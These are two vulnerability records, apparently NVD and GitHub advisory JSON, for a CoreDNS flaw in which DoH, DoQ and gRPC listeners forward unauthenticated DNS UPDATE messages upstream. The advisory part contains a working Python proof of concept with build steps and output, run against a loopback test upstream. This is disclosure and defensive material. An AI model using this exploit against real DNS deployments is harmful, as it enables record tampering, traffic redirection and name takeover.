{
  "affected": [
    {
      "affectedData": [
        {
          "product": "coredns",
          "vendor": "coredns",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.14.7"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC 2136 UPDATE that the proxy or forward plugin passes unchanged to an update-capable upstream. If that upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown end-to-end TSIG, the request appears to originate from CoreDNS and can add, replace, or delete DNS records, redirect traffic, take over names, alter mail routing, or disrupt the writable zone. This issue is fixed in version 1.14.7."
    }
  ],
  "id": "CVE-2026-86003",
  "lastModified": "2026-09-17T20:18:49.633",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-86003",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-17T17:06:22.830359Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-16T19:17:51.760",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-441"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:33:05Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS\u0027s source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n    bind 127.0.0.1\n    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n    forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n    return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n    zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n    update = (\n        encode_name(\"foo.example.com.\")\n        + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n        + socket.inet_aton(\"192.0.2.123\")\n    )\n    header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE \u003c\u003c 11, 1, 0, 1, 0)\n    return header + zone + update\n\n\ndef read_name(message, offset):\n    labels = []\n    end = None\n    seen = set()\n    while True:\n        if offset \u003e= len(message) or offset in seen:\n            raise ValueError(\"invalid DNS name\")\n        seen.add(offset)\n        length = message[offset]\n        if length \u0026 0xC0 == 0xC0:\n            if offset + 1 \u003e= len(message):\n                raise ValueError(\"truncated compression pointer\")\n            if end is None:\n                end = offset + 2\n            offset = ((length \u0026 0x3F) \u003c\u003c 8) | message[offset + 1]\n            continue\n        offset += 1\n        if length == 0:\n            return \".\".join(labels) + \".\", end if end is not None else offset\n        if length \u0026 0xC0 or offset + length \u003e len(message):\n            raise ValueError(\"invalid DNS label\")\n        labels.append(message[offset : offset + length].decode(\"ascii\"))\n        offset += length\n\n\ndef question_end(message, count):\n    offset = 12\n    for _ in range(count):\n        _, offset = read_name(message, offset)\n        offset += 4\n        if offset \u003e len(message):\n            raise ValueError(\"truncated question\")\n    return offset\n\n\ndef parse_update(message):\n    _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n    if (flags \u003e\u003e 11) \u0026 0xF != OPCODE_UPDATE or qdcount != 1 or nscount \u003c 1:\n        return None\n    offset = question_end(message, qdcount)\n    name, offset = read_name(message, offset)\n    rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n    offset += 10\n    rdata = message[offset : offset + rdlength]\n    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n        return None\n    return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n    ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n    end = question_end(message, qdcount)\n    response_flags = flags | 0x8000\n    return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n    try:\n        update = parse_update(message)\n        response = response_for(message)\n    except (ValueError, struct.error):\n        return None\n    if update is not None:\n        received.put((peer, update))\n    return response\n\n\ndef serve_udp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            message, peer = sock.recvfrom(65535)\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        response = handle_message(message, peer, received)\n        if response is not None:\n            sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n    data = bytearray()\n    while len(data) \u003c size and not stopped.is_set():\n        try:\n            chunk = connection.recv(size - len(data))\n        except socket.timeout:\n            continue\n        if not chunk:\n            return None\n        data.extend(chunk)\n    return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n    while not stopped.is_set():\n        try:\n            connection, peer = sock.accept()\n        except socket.timeout:\n            continue\n        except OSError:\n            return\n        with connection:\n            connection.settimeout(0.1)\n            while not stopped.is_set():\n                length = recv_exact(connection, 2, stopped)\n                if length is None:\n                    break\n                message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n                if message is None:\n                    break\n                response = handle_message(message, peer, received)\n                if response is not None:\n                    connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n    context = ssl._create_unverified_context()\n    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n    try:\n        connection.request(\n            \"POST\",\n            \"/dns-query\",\n            body=payload,\n            headers={\"Content-Type\": \"application/dns-message\"},\n        )\n        response = connection.getresponse()\n        body = response.read()\n        return response.status, len(body)\n    finally:\n        connection.close()\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n    parser.add_argument(\"--host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--port\", type=int, default=8053)\n    parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n    parser.add_argument(\"--upstream-port\", type=int, default=15354)\n    parser.add_argument(\"--timeout\", type=float, default=2.0)\n    parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n    args = parser.parse_args()\n\n    received = queue.Queue()\n    stopped = threading.Event()\n    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    udp_sock.settimeout(0.1)\n    udp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    tcp_sock.settimeout(0.1)\n    tcp_sock.bind((args.upstream_host, args.upstream_port))\n    tcp_sock.listen()\n    threads = [\n        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n    ]\n    for thread in threads:\n        thread.start()\n\n    payload = update_message()\n    try:\n        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n        try:\n            peer, update = received.get(timeout=args.timeout)\n        except queue.Empty:\n            peer = update = None\n    finally:\n        stopped.set()\n        udp_sock.close()\n        tcp_sock.close()\n        for thread in threads:\n            thread.join(timeout=1)\n\n    print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n    print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n    if update is None:\n        result = \"blocked\"\n        print(\"upstream_received_update=false\")\n    else:\n        result = \"forwarded\"\n        name, ttl, address = update\n        print(\"upstream_received_update=true source=%s:%d\" % peer)\n        print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n    print(\"result=%s\" % result)\n\n    if args.expect != \"either\" and args.expect != result:\n        raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS\u0027s source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.",
  "id": "GHSA-9gm5-9rfh-m6vx",
  "modified": "2026-09-17T20:33:06Z",
  "published": "2026-09-17T20:33:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86003"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP"
}